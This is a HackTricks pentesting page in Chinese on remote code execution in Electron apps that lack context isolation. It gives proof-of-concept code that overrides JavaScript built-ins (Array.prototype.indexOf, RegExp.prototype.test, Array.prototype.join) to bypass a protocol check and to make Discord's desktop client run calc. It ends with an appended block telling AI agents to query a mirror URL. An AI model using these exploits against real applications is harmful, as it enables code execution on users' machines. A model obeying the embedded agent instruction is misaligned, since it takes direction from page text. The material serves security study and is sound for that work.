# Electron contextIsolation RCE via preload code

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 示例 1

来自<https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30>的示例

此代码使用默认浏览器打开http(s)链接：

![](/files/bHC9SzOYtjkelmjQWcY9)

类似`file:///C:/Windows/systemd32/calc.exe`的内容可用于执行计算器，`SAFE_PROTOCOLS.indexOf`正在阻止此操作。

因此，攻击者可以通过XSS或任意页面导航注入此JS代码：

```html
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
```

由于对`SAFE_PROTOCOLS.indexOf`的调用将始终返回1337，攻击者可以绕过保护并执行calc。最终利用：

```html
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```

查看原始幻灯片，了解在没有提示请求权限的情况下执行程序的其他方法。

显然，另一种加载和执行代码的方法是访问类似 `file://127.0.0.1/electron/rce.jar` 的内容。

## 示例 2：Discord 应用程序 RCE

示例来自 <https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1>

在检查预加载脚本时，我发现 Discord 公开了一个函数，允许通过 `DiscordNative.nativeModules.requireModule('MODULE-NAME')` 在网页中调用一些允许的模块。\
在这里，我无法直接使用可用于 RCE 的模块，比如 *child\_process* 模块，但我**找到了一段代码，可以通过覆盖 JavaScript 内置方法来实现 RCE**，并干扰公开模块的执行。

以下是 PoC。我确认当我从 devTools 调用名为 "*discord\_utils*" 的模块中定义的 `getGPUDriverVersions` 函数时，**覆盖 `RegExp.prototype.test` 和 `Array.prototype.join`** 时，**calc** 应用程序会**弹出**。

```javascript
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
```

`getGPUDriverVersions` 函数尝试使用 "*execa*" 库执行程序，如下所示：

```javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};
```

通常 *execa* 尝试执行 "*nvidia-smi.exe*"，该文件路径在 `nvidiaSmiPath` 变量中指定，然而，由于被覆盖的 `RegExp.prototype.test` 和 `Array.prototype.join`，**参数在 \_execa 的内部处理中被替换为 "*****calc*****"**。

具体来说，参数被替换是通过更改以下两个部分。

<https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36>

<https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55>

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

其他支持 HackTricks 的方式：

* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
